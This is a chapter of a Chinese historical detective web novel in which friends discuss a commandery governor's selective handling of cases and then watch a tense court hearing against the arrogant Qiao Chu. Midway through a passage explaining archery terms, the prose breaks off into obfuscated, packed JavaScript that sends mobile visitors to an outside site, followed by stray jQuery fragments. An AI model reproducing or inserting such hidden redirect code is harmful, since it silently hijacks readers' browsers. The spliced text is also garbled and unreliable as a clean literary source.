21. 堂审(一)

作品:《折杨柳

    用过午膳,闲话消食,杨无咎想送柳眉妩回去,却被拒绝了。她热络地挽着何清如,如胶似漆般,直言与何姐姐实在投缘,今晚要同宿一处,不回浣花别业了。杨无咎点点头,面上不见喜色,却也没有拒绝。


    当夜,御史府中用过晚膳,柳眉妩拿出叶灵儿的日记,供大家辨认。可即便见多识广精通汉梵如东方凌云,看完也是一头雾水。


    “似汉非汉,似梵非梵,闻所未闻,见所未见。娇娇儿,你在哪里寻的奇书?”


    柳眉妩如实道:“今日见到娘亲的手书,想起叶灵儿的日记。我不认得,问了院里的丫鬟们,也不认得。干脆让十三带过来,问问你们。”


    “不急的话,送几本回去,让老二认认。”东方凌云建议。


    老二不良于行,却眼观六路耳听八方。日月所照,江河所至,什么风吹草动,都瞒不过她。长安耳报神,她若称第二,便没人敢称第一;她若称第一,便没人敢有异议。


    柳眉妩拍手笑道:“那再好不过了!”


    一事毕,几人围桌玩叶子戏。柳眉妩一面抓牌,一面问东方凌云:“二哥哥,胡郡守怎么样?”


    “当初阿大回京时,我交代了他两件事,一是送去书信,二则取来库档。”东方凌云道,“胡子长的库档。”


    胡迁,字子长。


    正是胡郡守名字。


    何清如问道:“可是胡郡守有问题?”


    东方凌云摇了摇头,“恰恰相反,胡子长一点问题也没有。在其位谋其事,凿山度水,钻井修路,可谓面面俱到。平冤断案,拨乱反正,虽不敢说治下无冤,却也称得上清明为政,年关考核全然是达标了的。”


    柳眉妩想到灵犀院里丫鬟们的愤愤不平,加之今日李丹阳所说公廨积压的陈冤旧案,不解道:“若真是如此,胡郡守就该是个公明好官才对,为何治下百姓还会有闲言碎语呢?”


    东方凌云不答反问:“娇娇儿,何为公明?”


    柳眉妩愣了愣神,答不上来,就听宝儿回道:“公者,不偏不倚;明者,无冤无纵。”


    “不偏不倚,无冤无纵,这八个字和胡郡守可没关系。”柳眉妩恍然大悟,冷笑出声,“我记得小茶跟我说过,胡郡守查案会有先后次序之分,三六九等之别。若苦主有权有势,案子便会破得快些;反之则可能查来查去查不清楚,久而久之,自然就成了无头公案。


    “如此一来,胡郡守只要保证每年的年关考核无虞,查什么案,为何人查,就全由他自己做主了。毕竟,再厉害的人也是人,不是神,即便任上有几件案子迟迟未破,朝廷也不会拿他问罪。”


    宝儿静静听着,恍惚忆起初入大理寺时,狄长春对他的一番教诲——


    “既入大理寺,便掌平决狱讼之职,以探诡断案为己任。我且问你,我们的第一要义是什么?”


    彼时的他似懂非懂,看着堂上金光灿灿的匾额,认真答道:“公明狱讼,天下无冤。”


    狄长春却摇头笑了,晃着酒葫芦道:“不对,第一要义应是端正认知。争罪曰狱,争财曰讼,不偏不倚曰公,无冤无纵曰明。可是,我们是人,不是神,再厉害的人也有力所不及之事,再厉害的官也有束手无策之时。所以,你首先要学的,就是学会接受自己的无能为力、无可奈何。


    “凡事种种,谋事在人,成事在天。‘天下无冤’四个字,好则好矣,但只适合挂在墙上,谁天天有事没事挂在嘴边,你直接掴他就是。少说空话,多做事,尽了人事,听天命,古往今来,如此而已。”


    当时的他不以为然,现在的他依旧如是。


    “如此行径,为人不齿。胡郡守欺上瞒下,分明可以治他一个渎职之罪。”


    何清如摇头叹道:“断言容易,断案难。胡郡守为人谨慎,凡事又做得滴水不漏,我们轻易可寻不到他的错处。”


    东方凌云似笑非笑,“寻得到,寻不到,要等寻了才知道。”


    柳眉妩听出话里机锋,再问,他却怎么也不肯说了,一副“欲知后事如何,请听下回分解”的模样。


    兴致上来,几人嬉笑打闹,直到夜半时分才肯散场,各自去睡。席间桌上的话儿都说完了,明日又要早起去公廨观审,柳眉妩和何清如上床便睡,反倒一夜无话。


    翌日,晨雾将散未散,万物尚在沉睡,安谧宁静,匍匐卧在一团阴湿中。蜀地四时多雨,成都更有“西蜀漏天”之称,随风潜入夜,街巷便结了薄薄的绿,一路蔓延到台阶上。便是公廨檐下蹲的两只狻猊石兽,也披了层细密的青衣。


    进门去,远远便见堂外围了一匝人,水泄不通。宝儿和十三开路,柳眉妩和何清如趁机挤到前面。偶有几声不满,见到十三散的碎银,也乐呵呵换上笑脸,自觉低了声音,唯恐打扰两人观审。


    柳眉妩并非没见过宝儿堂审,只是大理寺如何,地殊俗异,蜀郡公廨却不见得也如何。加之昨日听房,听到胡安之对胡郡守的评价,心中更是好奇。


    遥见堂上青砖暗淡,沁着经年血锈,于阴影处更显森森冷意。正堂悬一幅川主像,旁书“镇水安民,正法无私”八字,恰与“明镜高悬”的匾额同列。画中人白面无须,只眉间一点朱砂,被香火久熏发黑,显得怒目圆睁,任谁看一眼都觉脊背发寒。


    透过绘着李公锁蛟的屏风,依稀可辨三道人影。正中那位抬手正了正獬豸冠,口呼“升堂”,手中惊堂木将将拍下,阶下的衙役已齐声呼喝“威——武——”。尾音拖长,混着川西坝子的土腔,如老鸦结群掠过锦江。


    “这是什么意思?”


    “今日为何在屏风后升堂?”


    人群中有人提出疑问,不等吵开,有妇在堂上抖开状纸。朱砂指印年久失泽,泛出深色褐斑,她的声音更显凄楚:“大人在上,民妇陈细妹,巴郡夔州人。今日跨郡诉冤,状告谯小爷,伪造借据,拒还田契,勾结官府,逼死亲夫。求青天大老爷明鉴!”


    再拜陈情,声泪俱下,闻者无不动容。


    谯小爷听了,却只冷笑一声,抬脚便踢在陈细妹背上,口中嗤道:“欠债还钱天经地义,贱人你还没完没了了!”


    陈细妹登时被踢倒在地,叫声凄厉,半天爬不起来。谯小爷还要再踢,忽听耳边一道破风声响,肩胛一痛,低头便见一支黑头签钉入肉中。


    “好!”


    不知何人率先拍手,围观众人随之骚动,好似炸开了锅。


    柳眉妩也有些惊讶,“可看不出,胡郡守平日里八风不动,笑弥勒一般,竟还有这般色厉神威的时候。”


    何清如但笑不语,示意她看屏风后。轮廓隐约,依稀可见除了正中端坐,右旁还有一坐一站两道人影。


    宝儿笑着解释:“君子精六艺,自然骑射皆通。娇娇儿,你可不要觉得胡郡守只是个手无缚鸡之力的文弱书生。”


    “不错。不说旁的,单看这般力度与速度,胡大人的白矢和剡注便差不了。”


    柳眉妩闻声回望,看见一对素衣男女并肩而立,先前却没印象,应当是后面来的。


    女子问道:“叶郎,什么是白矢和剡注?”


    “周礼有云,射分五类,白矢、参连、剡注、襄尺、井仪。白矢者,矢透箭靶,可见白镞,谓发矢准确而有力;剡注者,瞄时短促,一发即中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268976|182217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,谓矢行之迅疾也。”


    女子豁然道:“我听明白了,白矢是说射得准且狠,剡注则是说射得快。”


    叶郎赞道:“芸娘聪慧。”


    旁人听了这话,方明白胡郡守这一射有多精彩,当即不由自主地鼓起掌来,喝个不停。甚至还有高嚷着“再来一次”的,唯恐公堂不乱。


    谯小爷忍痛拔下黑签,又听堂外掌声如雷,面上更是愤恨,咬牙道:“我乃江州谯氏子,你怎么敢!”


    “放肆!我管你是江州谯氏还是阆中谯氏,还当这是在巴郡么?就算你是巴郡的地头蛇,到了蜀郡公堂,也得给本府盘着!”胡郡守怒喝一声,再拍惊堂木,惊得案头朱笔唰唰滚落,“本府乃大新郡守,上承圣意,下顺民心,依法办案,有何不敢?”


    谯小爷面色涨红,忍了又忍,到底还是忍下来了,“是,全凭大人做主。但大人莫听此贱人一面之词,欠债还钱本就天经地义,我有借据为证。”


    胡郡守不接话,只缓缓抚须道:“借据呈上。”


    衙役适时呈上借据,胡郡守低头瞥一眼,吩咐左右将陈细妹带下,抬手又拍惊堂木,语气不怒自威,“谯楚,你可知罪?”


    谯楚挑眉,“不知。”


    “不知?”胡郡守冷笑一声,“你可认识郑秋?”


    “不认识。”


    “是真不认识,还是假不认识?”


    惊堂木一拍,衙役再呼威武,水火棍一阵敲地,杂着不知从哪个犄角旮旯里传出的戏谑,“龟儿子莫要扯谎!”


    谯楚扭头看向堂外,眸中狠光乍现。


    衙役见他出神,上前推他一把,口中喝道:“干什么,大人问你话呢!”


    他冷冷看一眼衙役,当面啐道:“狗东西!你有几双手,也配和小爷动手动脚!”


    衙役正要发怒,胡郡守再拍惊堂木,“堂下谯楚,回话。”


    谯楚倨傲仰头,神情不屑,“大人问什么?我只听到一群臭虫嗡嗡乱叫,没听清大人的话。”


    衙役横眉怒道:“你说谁是臭虫!”


    “肃静!”胡郡守再拍惊堂木,示意底下分开两人,才继续问道,“堂下谯楚,本府问你,是否认识郑秋?”


    谯楚瞥一眼被拦住的衙役,嗤笑一声,吊儿郎当地回话:“什么正秋反秋,不认识。”


    胡郡守冷哼一声,“郑秋奸淫掳掠,杀人越货,作恶无数,数月前落网本郡,供出同伙名单,你的名字分明就在其中。白纸黑字,你还有何狡辩?”


    “诈我?你以为我会信?”谯楚不屑一笑,“小爷说一不二,说不认识就不认识。”


    录事适时捧出乌木匣,打开问道:“堂下谯楚,你可敢对着李公的镇水神兽起誓?若有半句虚言,欺心昧理,便甘受堰崩水溺之灾!”


    “有何不敢?”谯楚爽快发了誓,隔着屏风似笑非笑,“大人,我说的可都是真话。”


    “是真是假,本府自有评断。来人,将人犯羁押带下。方郡丞,你着人速去江州,查封谯楚财物,仔细核对。”胡郡守说完,惊堂木重重砸下,震得签筒蹦出一红一黑两支签。


    红签捉人,黑签用刑。


    待衙役将签票捡出,谯楚眯起了眼,“就凭你,也配关小爷?”


    话音刚落,转头撞开衙役,临空几步便翻身到了堂外。围观众人猝不及防,转眼就见谯楚站在自己身前,骇然爆出一阵喧哗。正混乱时,忽听一声哀嚎冲天,周遭人等慌忙退避,定睛再看,中间那人捂头扑地,身下已是一团血迹,嘴角还在汩汩流血。


    “流……流血了!”


    “杀人了!死人了!”